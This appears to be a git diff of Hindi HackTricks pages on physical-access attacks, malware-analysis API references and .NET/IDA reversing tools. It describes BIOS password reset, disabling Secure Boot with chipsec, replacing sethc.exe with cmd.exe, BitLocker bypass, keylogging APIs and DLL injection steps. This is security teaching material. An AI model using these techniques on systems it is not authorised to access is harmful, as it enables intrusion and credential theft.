* ध्यान दें कि इस उदाहरण में सर्वर **जावास्क्रिप्ट कोड उत्पन्न कर रहा है** और **इसे** HTML में **कॉलबैक पैरामीटर की सामग्री के आधार पर जोड़ रहा है:** `<script>opener.{callbacl_content}</script>`। इसलिए इस उदाहरण में आपको `opener` के उपयोग को स्पष्ट रूप से इंगित करने की आवश्यकता नहीं है।
|
||||
* आप एक कमजोर उदाहरण यहाँ पा सकते हैं: [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* ध्यान दें कि इस उदाहरण में सर्वर **जावास्क्रिप्ट कोड उत्पन्न कर रहा है** और **इसे** HTML में **कॉलबैक पैरामीटर की सामग्री के आधार पर जोड़ रहा है:** `<script>opener.{callbacl_content}</script>`। यही कारण है कि इस उदाहरण में आपको `opener` के उपयोग को स्पष्ट रूप से इंगित करने की आवश्यकता नहीं है।
|
||||
* इस CTF लेखन को भी देखें: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## References
|
||||
|
|
|
@ -15,83 +15,57 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## BIOS Password Recovery and System Security
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
**BIOS को रीसेट करना** कई तरीकों से किया जा सकता है। अधिकांश मदरबोर्ड में एक **बैटरी** होती है, जिसे लगभग **30 मिनट** के लिए निकालने पर BIOS सेटिंग्स, जिसमें पासवर्ड भी शामिल है, रीसेट हो जाती हैं। वैकल्पिक रूप से, **मदरबोर्ड पर एक जंपर** को समायोजित किया जा सकता है ताकि इन सेटिंग्स को विशिष्ट पिनों को जोड़कर रीसेट किया जा सके।
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **संपर्कित** हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
उन स्थितियों के लिए जहां हार्डवेयर समायोजन संभव या व्यावहारिक नहीं हैं, **सॉफ़्टवेयर उपकरण** एक समाधान प्रदान करते हैं। **Kali Linux** जैसी वितरणों के साथ **Live CD/USB** से सिस्टम चलाने पर **_killCmos_** और **_CmosPWD_** जैसे उपकरणों तक पहुंच मिलती है, जो BIOS पासवर्ड रिकवरी में मदद कर सकते हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
यदि BIOS पासवर्ड अज्ञात है, तो इसे गलत तरीके से **तीन बार** दर्ज करने पर आमतौर पर एक त्रुटि कोड प्राप्त होता है। इस कोड का उपयोग [https://bios-pw.org](https://bios-pw.org) जैसी वेबसाइटों पर एक उपयोगी पासवर्ड प्राप्त करने के लिए किया जा सकता है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
### UEFI Security
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## BIOS पासवर्ड पुनर्प्राप्ति और सिस्टम सुरक्षा
|
||||
|
||||
**BIOS को रीसेट करना** कई तरीकों से किया जा सकता है। अधिकांश मदरबोर्ड में एक **बैटरी** होती है, जिसे लगभग **30 मिनट** के लिए हटाने पर BIOS सेटिंग्स, जिसमें पासवर्ड भी शामिल है, रीसेट हो जाती हैं। वैकल्पिक रूप से, **मदरबोर्ड पर एक जंपर** को समायोजित किया जा सकता है ताकि इन सेटिंग्स को विशिष्ट पिनों को जोड़कर रीसेट किया जा सके।
|
||||
|
||||
उन स्थितियों के लिए जहां हार्डवेयर समायोजन संभव या व्यावहारिक नहीं हैं, **सॉफ़्टवेयर उपकरण** एक समाधान प्रदान करते हैं। **Kali Linux** जैसी वितरणों के साथ **Live CD/USB** से सिस्टम चलाने पर **_killCmos_** और **_CmosPWD_** जैसे उपकरणों तक पहुंच मिलती है, जो BIOS पासवर्ड पुनर्प्राप्ति में मदद कर सकते हैं।
|
||||
|
||||
यदि BIOS पासवर्ड अज्ञात है, तो इसे गलत तरीके से **तीन बार** दर्ज करने पर आमतौर पर एक त्रुटि कोड प्राप्त होता है। इस कोड का उपयोग [https://bios-pw.org](https://bios-pw.org) जैसी वेबसाइटों पर किया जा सकता है ताकि संभावित रूप से एक उपयोगी पासवर्ड प्राप्त किया जा सके।
|
||||
|
||||
### UEFI सुरक्षा
|
||||
|
||||
आधुनिक सिस्टम के लिए जो पारंपरिक BIOS के बजाय **UEFI** का उपयोग करते हैं, **chipsec** उपकरण का उपयोग UEFI सेटिंग्स का विश्लेषण और संशोधन करने के लिए किया जा सकता है, जिसमें **Secure Boot** को अक्षम करना शामिल है। इसे निम्नलिखित कमांड के साथ पूरा किया जा सकता है:
|
||||
आधुनिक सिस्टम के लिए जो पारंपरिक BIOS के बजाय **UEFI** का उपयोग करते हैं, **chipsec** उपकरण का उपयोग UEFI सेटिंग्स का विश्लेषण और संशोधन करने के लिए किया जा सकता है, जिसमें **Secure Boot** को निष्क्रिय करना शामिल है। इसे निम्नलिखित कमांड के साथ पूरा किया जा सकता है:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM विश्लेषण और कोल्ड बूट हमले
|
||||
### RAM Analysis and Cold Boot Attacks
|
||||
|
||||
RAM डेटा को पावर कटने के बाद थोड़े समय के लिए बनाए रखता है, आमतौर पर **1 से 2 मिनट**। इस स्थिरता को ठंडे पदार्थों, जैसे तरल नाइट्रोजन, को लागू करके **10 मिनट** तक बढ़ाया जा सकता है। इस विस्तारित अवधि के दौरान, **मेमोरी डंप** बनाया जा सकता है जिसका विश्लेषण करने के लिए **dd.exe** और **volatility** जैसे उपकरणों का उपयोग किया जा सकता है।
|
||||
RAM डेटा को पावर कटने के बाद थोड़े समय के लिए बनाए रखता है, आमतौर पर **1 से 2 मिनट**। इस स्थिरता को ठंडी सामग्री, जैसे तरल नाइट्रोजन, लगाकर **10 मिनट** तक बढ़ाया जा सकता है। इस विस्तारित अवधि के दौरान, **मेमोरी डंप** बनाया जा सकता है जिसका विश्लेषण करने के लिए **dd.exe** और **volatility** जैसे उपकरणों का उपयोग किया जा सकता है।
|
||||
|
||||
### डायरेक्ट मेमोरी एक्सेस (DMA) हमले
|
||||
### Direct Memory Access (DMA) Attacks
|
||||
|
||||
**INCEPTION** एक उपकरण है जो **फिजिकल मेमोरी मैनिपुलेशन** के लिए DMA के माध्यम से डिज़ाइन किया गया है, जो **FireWire** और **Thunderbolt** जैसी इंटरफेस के साथ संगत है। यह किसी भी पासवर्ड को स्वीकार करने के लिए मेमोरी को पैच करके लॉगिन प्रक्रियाओं को बायपास करने की अनुमति देता है। हालाँकि, यह **Windows 10** सिस्टम के खिलाफ प्रभावी नहीं है।
|
||||
|
||||
### सिस्टम एक्सेस के लिए लाइव CD/USB
|
||||
### Live CD/USB for System Access
|
||||
|
||||
**_sethc.exe_** या **_Utilman.exe_** जैसे सिस्टम बाइनरी को **_cmd.exe_** की एक प्रति के साथ बदलने से सिस्टम विशेषाधिकारों के साथ एक कमांड प्रॉम्प्ट प्राप्त किया जा सकता है। **chntpw** जैसे उपकरणों का उपयोग Windows इंस्टॉलेशन की **SAM** फ़ाइल को संपादित करने के लिए किया जा सकता है, जिससे पासवर्ड परिवर्तन की अनुमति मिलती है।
|
||||
**_sethc.exe_** या **_Utilman.exe_** जैसे सिस्टम बाइनरी को **_cmd.exe_** की एक प्रति के साथ बदलने से सिस्टम विशेषाधिकारों के साथ कमांड प्रॉम्प्ट प्राप्त किया जा सकता है। **chntpw** जैसे उपकरणों का उपयोग Windows इंस्टॉलेशन की **SAM** फ़ाइल को संपादित करने के लिए किया जा सकता है, जिससे पासवर्ड परिवर्तन की अनुमति मिलती है।
|
||||
|
||||
**Kon-Boot** एक उपकरण है जो Windows सिस्टम में लॉगिन करने की सुविधा प्रदान करता है बिना पासवर्ड जाने, Windows कर्नेल या UEFI को अस्थायी रूप से संशोधित करके। अधिक जानकारी [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) पर मिल सकती है।
|
||||
**Kon-Boot** एक उपकरण है जो बिना पासवर्ड जाने Windows सिस्टम में लॉगिन करने की सुविधा प्रदान करता है, जो अस्थायी रूप से Windows कर्नेल या UEFI को संशोधित करता है। अधिक जानकारी [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) पर मिल सकती है।
|
||||
|
||||
### Windows सुरक्षा सुविधाओं को संभालना
|
||||
### Handling Windows Security Features
|
||||
|
||||
#### बूट और पुनर्प्राप्ति शॉर्टकट
|
||||
#### Boot and Recovery Shortcuts
|
||||
|
||||
- **Supr**: BIOS सेटिंग्स तक पहुँचें।
|
||||
- **F8**: पुनर्प्राप्ति मोड में प्रवेश करें।
|
||||
- Windows बैनर के बाद **Shift** दबाने से ऑटो-लॉगिन बायपास हो सकता है।
|
||||
- **Supr**: BIOS सेटिंग्स तक पहुंचें।
|
||||
- **F8**: रिकवरी मोड में प्रवेश करें।
|
||||
- Windows बैनर के बाद **Shift** दबाने से ऑटो लॉगिन बायपास हो सकता है।
|
||||
|
||||
#### BAD USB उपकरण
|
||||
#### BAD USB Devices
|
||||
|
||||
**Rubber Ducky** और **Teensyduino** जैसे उपकरण **बद USB** उपकरण बनाने के लिए प्लेटफार्मों के रूप में कार्य करते हैं, जो लक्षित कंप्यूटर से जुड़े होने पर पूर्वनिर्धारित पेलोड को निष्पादित करने में सक्षम होते हैं।
|
||||
**Rubber Ducky** और **Teensyduino** जैसे उपकरण **bad USB** उपकरण बनाने के लिए प्लेटफार्मों के रूप में कार्य करते हैं, जो लक्षित कंप्यूटर से जुड़े होने पर पूर्वनिर्धारित पेलोड को निष्पादित करने में सक्षम होते हैं।
|
||||
|
||||
#### वॉल्यूम शैडो कॉपी
|
||||
#### Volume Shadow Copy
|
||||
|
||||
व्यवस्थापक विशेषाधिकार संवेदनशील फ़ाइलों की प्रतियों को बनाने की अनुमति देते हैं, जिसमें PowerShell के माध्यम से **SAM** फ़ाइल शामिल है।
|
||||
|
||||
### BitLocker एन्क्रिप्शन को बायपास करना
|
||||
### Bypassing BitLocker Encryption
|
||||
|
||||
यदि **पुनर्प्राप्ति पासवर्ड** एक मेमोरी डंप फ़ाइल (**MEMORY.DMP**) में पाया जाता है, तो BitLocker एन्क्रिप्शन को संभावित रूप से बायपास किया जा सकता है। इस उद्देश्य के लिए **Elcomsoft Forensic Disk Decryptor** या **Passware Kit Forensic** जैसे उपकरणों का उपयोग किया जा सकता है।
|
||||
यदि **रिकवरी पासवर्ड** एक मेमोरी डंप फ़ाइल (**MEMORY.DMP**) में पाया जाता है, तो BitLocker एन्क्रिप्शन को संभावित रूप से बायपास किया जा सकता है। इस उद्देश्य के लिए **Elcomsoft Forensic Disk Decryptor** या **Passware Kit Forensic** जैसे उपकरणों का उपयोग किया जा सकता है।
|
||||
|
||||
### पुनर्प्राप्ति कुंजी जोड़ने के लिए सामाजिक इंजीनियरिंग
|
||||
### Social Engineering for Recovery Key Addition
|
||||
|
||||
एक नया BitLocker पुनर्प्राप्ति कुंजी सामाजिक इंजीनियरिंग तकनीकों के माध्यम से जोड़ी जा सकती है, एक उपयोगकर्ता को एक कमांड निष्पादित करने के लिए मनाकर जो शून्य से बनी एक नई पुनर्प्राप्ति कुंजी जोड़ता है, जिससे डिक्रिप्शन प्रक्रिया को सरल बनाया जा सके।
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **संपर्कित** हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
एक नया BitLocker रिकवरी कुंजी सामाजिक इंजीनियरिंग तकनीकों के माध्यम से जोड़ी जा सकती है, एक उपयोगकर्ता को एक कमांड निष्पादित करने के लिए मनाकर जो शून्य से बनी एक नई रिकवरी कुंजी जोड़ता है, जिससे डिक्रिप्शन प्रक्रिया को सरल बनाया जा सके।
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -9,25 +9,17 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## सामान्य
|
||||
|
||||
### नेटवर्किंग
|
||||
|
||||
| कच्चे सॉकेट | WinAPI सॉकेट्स |
|
||||
| कच्चे सॉकेट | WinAPI सॉकेट |
|
||||
| ------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
|
@ -59,7 +51,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
| CryptDecrypt() |
|
||||
| CryptReleaseContext() |
|
||||
|
||||
### एंटी-विश्लेषण/VM
|
||||
### एंटी-विश्लेषण/वीएम
|
||||
|
||||
| फ़ंक्शन नाम | असेंबली निर्देश |
|
||||
| --------------------------------------------------------- | --------------------- |
|
||||
|
@ -67,8 +59,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[एक प्रक्रिया चल रही है या नहीं जांचें] | |
|
||||
| CreateFileW/A \[एक फ़ाइल मौजूद है या नहीं जांचें] | |
|
||||
| CreateToolhelp32Snapshot \[जांचें कि कोई प्रक्रिया चल रही है] | |
|
||||
| CreateFileW/A \[जांचें कि कोई फ़ाइल मौजूद है] | |
|
||||
|
||||
### छिपाव
|
||||
|
||||
|
@ -96,8 +88,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
### विविध
|
||||
|
||||
* GetAsyncKeyState() -- कुंजी लॉगिंग
|
||||
* SetWindowsHookEx -- कुंजी लॉगिंग
|
||||
* GetAsyncKeyState() -- की लॉगिंग
|
||||
* SetWindowsHookEx -- की लॉगिंग
|
||||
* GetForeGroundWindow -- चल रहे विंडो का नाम प्राप्त करें (या ब्राउज़र से वेबसाइट)
|
||||
* LoadLibrary() -- पुस्तकालय आयात करें
|
||||
* GetProcAddress() -- पुस्तकालय आयात करें
|
||||
|
@ -111,7 +103,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
### DLL इंजेक्शन
|
||||
|
||||
एक मनमाना DLL को दूसरे प्रक्रिया के अंदर निष्पादित करें
|
||||
एक मनमाना DLL को दूसरी प्रक्रिया के अंदर निष्पादित करें
|
||||
|
||||
1. दुर्भावनापूर्ण DLL इंजेक्ट करने के लिए प्रक्रिया का पता लगाएँ: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. प्रक्रिया खोलें: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
|
@ -123,7 +115,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
### रिफ्लेक्टिव DLL इंजेक्शन
|
||||
|
||||
सामान्य Windows API कॉल किए बिना एक दुर्भावनापूर्ण DLL लोड करें।\
|
||||
DLL एक प्रक्रिया के अंदर मैप किया गया है, यह आयात पते को हल करेगा, पुनर्स्थापनाओं को ठीक करेगा और DllMain फ़ंक्शन को कॉल करेगा।
|
||||
DLL को एक प्रक्रिया के अंदर मैप किया गया है, यह आयात पते को हल करेगा, पुनर्स्थापनाओं को ठीक करेगा और DllMain फ़ंक्शन को कॉल करेगा।
|
||||
|
||||
### थ्रेड हाईजैकिंग
|
||||
|
||||
|
@ -150,18 +142,12 @@ DLL एक प्रक्रिया के अंदर मैप किय
|
|||
|
||||
## हुकिंग
|
||||
|
||||
* **SSDT** (**System Service Descriptor Table**) कर्नेल फ़ंक्शंस (ntoskrnl.exe) या GUI ड्राइवर (win32k.sys) की ओर इशारा करता है ताकि उपयोगकर्ता प्रक्रियाएँ इन फ़ंक्शंस को कॉल कर सकें।
|
||||
* **SSDT** (**सिस्टम सेवा वर्णन तालिका**) कर्नेल फ़ंक्शंस (ntoskrnl.exe) या GUI ड्राइवर (win32k.sys) की ओर इशारा करता है ताकि उपयोगकर्ता प्रक्रियाएँ इन फ़ंक्शंस को कॉल कर सकें।
|
||||
* एक रूटकिट इन प्वाइंटर्स को उन पते पर संशोधित कर सकता है जिन्हें वह नियंत्रित करता है
|
||||
* **IRP** (**I/O Request Packets**) एक घटक से दूसरे घटक में डेटा के टुकड़े भेजते हैं। कर्नेल में लगभग सब कुछ IRPs का उपयोग करता है और प्रत्येक डिवाइस ऑब्जेक्ट की अपनी फ़ंक्शन तालिका होती है जिसे हुक किया जा सकता है: DKOM (Direct Kernel Object Manipulation)
|
||||
* **IAT** (**Import Address Table**) निर्भरताओं को हल करने के लिए उपयोगी है। इसे हुक करना संभव है ताकि उस कोड को हाईजैक किया जा सके जिसे कॉल किया जाएगा।
|
||||
* **EAT** (**Export Address Table**) हुक। ये हुक **यूजरलैंड** से किए जा सकते हैं। लक्ष्य DLLs द्वारा निर्यातित फ़ंक्शंस को हुक करना है।
|
||||
* **Inline Hooks**: यह प्रकार प्राप्त करना कठिन है। इसमें फ़ंक्शंस के कोड को संशोधित करना शामिल है। शायद इसके शुरुआत में एक जंप डालकर।
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
* **IRP** (**I/O अनुरोध पैकेट**) एक घटक से दूसरे घटक में डेटा के टुकड़े भेजते हैं। कर्नेल में लगभग सब कुछ IRP का उपयोग करता है और प्रत्येक डिवाइस ऑब्जेक्ट की अपनी फ़ंक्शन तालिका होती है जिसे हुक किया जा सकता है: DKOM (डायरेक्ट कर्नेल ऑब्जेक्ट मैनिपुलेशन)
|
||||
* **IAT** (**आयात पता तालिका**) निर्भरताओं को हल करने के लिए उपयोगी है। इसे हुक करना संभव है ताकि उस कोड को हाईजैक किया जा सके जिसे कॉल किया जाएगा।
|
||||
* **EAT** (**निर्यात पता तालिका**) हुक। ये हुक **यूजरलैंड** से किए जा सकते हैं। लक्ष्य DLL द्वारा निर्यातित फ़ंक्शंस को हुक करना है।
|
||||
* **इनलाइन हुक**: इस प्रकार को प्राप्त करना कठिन है। इसमें फ़ंक्शंस के कोड को संशोधित करना शामिल है। शायद इसके शुरुआत में एक जंप डालकर।
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -172,8 +158,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## ImGui Based Reversing tools
|
||||
|
||||
Software:
|
||||
|
@ -52,23 +44,23 @@ dotPeek एक decompiler है जो **कई प्रारूपों क
|
|||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
एक व्यापक ऐड-इन मॉडल और एक API के साथ जो उपकरण को आपकी सटीक आवश्यकताओं के अनुसार विस्तारित करता है, .NET reflector समय बचाता है और विकास को सरल बनाता है। आइए इस उपकरण द्वारा प्रदान की जाने वाली विपरीत इंजीनियरिंग सेवाओं की प्रचुरता पर एक नज़र डालते हैं:
|
||||
एक व्यापक ऐड-इन मॉडल और एक API के साथ जो उपकरण को आपकी सटीक आवश्यकताओं के अनुसार विस्तारित करता है, .NET reflector समय बचाता है और विकास को सरल बनाता है। आइए इस उपकरण द्वारा प्रदान की जाने वाली विपरीत इंजीनियरिंग सेवाओं की भरपूरता पर एक नज़र डालते हैं:
|
||||
|
||||
* यह बताता है कि डेटा एक लाइब्रेरी या घटक के माध्यम से कैसे प्रवाहित होता है
|
||||
* .NET भाषाओं और ढांचों के कार्यान्वयन और उपयोग की जानकारी प्रदान करता है
|
||||
* APIs और प्रौद्योगिकियों का अधिकतम लाभ उठाने के लिए undocumented और unexposed कार्यक्षमता को खोजता है।
|
||||
* निर्भरताएँ और विभिन्न assemblies को खोजता है
|
||||
* APIs और प्रौद्योगिकियों का अधिकतम लाभ उठाने के लिए अप्रलेखित और अप्रकट कार्यक्षमता खोजता है।
|
||||
* निर्भरताएँ और विभिन्न assemblies खोजता है
|
||||
* आपके कोड, तृतीय-पक्ष घटकों, और लाइब्रेरी में त्रुटियों के सटीक स्थान को ट्रैक करता है।
|
||||
* आप जिस सभी .NET कोड के साथ काम करते हैं, उसके स्रोत में डिबग करता है।
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): आप इसे किसी भी OS में रख सकते हैं (आप इसे सीधे VSCode से इंस्टॉल कर सकते हैं, git डाउनलोड करने की आवश्यकता नहीं है। **Extensions** पर क्लिक करें और **ILSpy** खोजें)।\
|
||||
यदि आपको **decompile**, **modify** और फिर से **recompile** करने की आवश्यकता है, तो आप [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) या इसके एक सक्रिय रूप से बनाए रखे गए fork, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) का उपयोग कर सकते हैं। (**Right Click -> Modify Method** किसी फ़ंक्शन के अंदर कुछ बदलने के लिए)।
|
||||
यदि आपको **decompile**, **modify** और फिर से **recompile** करने की आवश्यकता है, तो आप [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) या इसके एक सक्रिय रूप से बनाए रखे गए फोर्क, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) का उपयोग कर सकते हैं। (**Right Click -> Modify Method** किसी फ़ंक्शन के अंदर कुछ बदलने के लिए)।
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
**DNSpy में कुछ जानकारी को फ़ाइल में लॉग करने के लिए**, आप इस स्निपेट का उपयोग कर सकते हैं:
|
||||
**DNSpy में कुछ जानकारी को एक फ़ाइल में लॉग करने के लिए**, आप इस स्निपेट का उपयोग कर सकते हैं:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -99,17 +91,17 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
|||
|
||||
![](<../../.gitbook/assets/image (602).png>)
|
||||
|
||||
यह आवश्यक है क्योंकि यदि आप ऐसा नहीं करते हैं, तो **runtime** के दौरान कोड पर कई **optimisations** लागू की जाएंगी और यह संभव है कि डिबग करते समय **break-point कभी नहीं हिट** हो या कुछ **variables मौजूद न हों**।
|
||||
यह आवश्यक है क्योंकि यदि आप ऐसा नहीं करते हैं, तो **runtime** के दौरान कई **optimisations** कोड पर लागू की जाएंगी और यह संभव है कि डिबग करते समय **break-point कभी नहीं हिट** हो या कुछ **variables मौजूद न हों**।
|
||||
|
||||
फिर, यदि आपका .NET एप्लिकेशन **IIS** द्वारा **run** किया जा रहा है, तो आप इसे **restart** कर सकते हैं:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
फिर, डिबगिंग शुरू करने के लिए आपको सभी खोले गए फ़ाइलों को बंद करना चाहिए और **Debug Tab** के अंदर **Attach to Process...** चुनना चाहिए:
|
||||
फिर, डिबगिंग शुरू करने के लिए आपको सभी खोले गए फ़ाइलों को बंद करना चाहिए और **Debug Tab** के अंदर **Attach to Process...** का चयन करना चाहिए:
|
||||
|
||||
![](<../../.gitbook/assets/image (318).png>)
|
||||
|
||||
फिर **IIS server** से जुड़ने के लिए **w3wp.exe** चुनें और **attach** पर क्लिक करें:
|
||||
फिर **IIS server** से जुड़ने के लिए **w3wp.exe** का चयन करें और **attach** पर क्लिक करें:
|
||||
|
||||
![](<../../.gitbook/assets/image (113).png>)
|
||||
|
||||
|
@ -119,7 +111,7 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (834).png>)
|
||||
|
||||
**Modules** पर किसी भी मॉड्यूल पर क्लिक करें और **Open All Modules** चुनें:
|
||||
**Modules** पर किसी भी मॉड्यूल पर क्लिक करें और **Open All Modules** का चयन करें:
|
||||
|
||||
![](<../../.gitbook/assets/image (922).png>)
|
||||
|
||||
|
@ -136,36 +128,36 @@ iisreset /noforce
|
|||
|
||||
### IDA का उपयोग करना
|
||||
|
||||
* **rundll32 लोड करें** (64बिट C:\Windows\System32\rundll32.exe में और 32 बिट C:\Windows\SysWOW64\rundll32.exe में)
|
||||
* **Windbg** डिबगर चुनें
|
||||
* "**Suspend on library load/unload**" चुनें
|
||||
* **rundll32** लोड करें (64बिट C:\Windows\System32\rundll32.exe में और 32 बिट C:\Windows\SysWOW64\rundll32.exe में)
|
||||
* **Windbg** डिबगर का चयन करें
|
||||
* "**Suspend on library load/unload**" का चयन करें
|
||||
|
||||
![](<../../.gitbook/assets/image (868).png>)
|
||||
|
||||
* **DLL के पथ** और उस फ़ंक्शन को कॉल करने के लिए **parameters** को कॉन्फ़िगर करें:
|
||||
* **DLL** के लिए **पथ** और जिस फ़ंक्शन को आप कॉल करना चाहते हैं, उसके **पैरामीटर** को कॉन्फ़िगर करें:
|
||||
|
||||
![](<../../.gitbook/assets/image (704).png>)
|
||||
|
||||
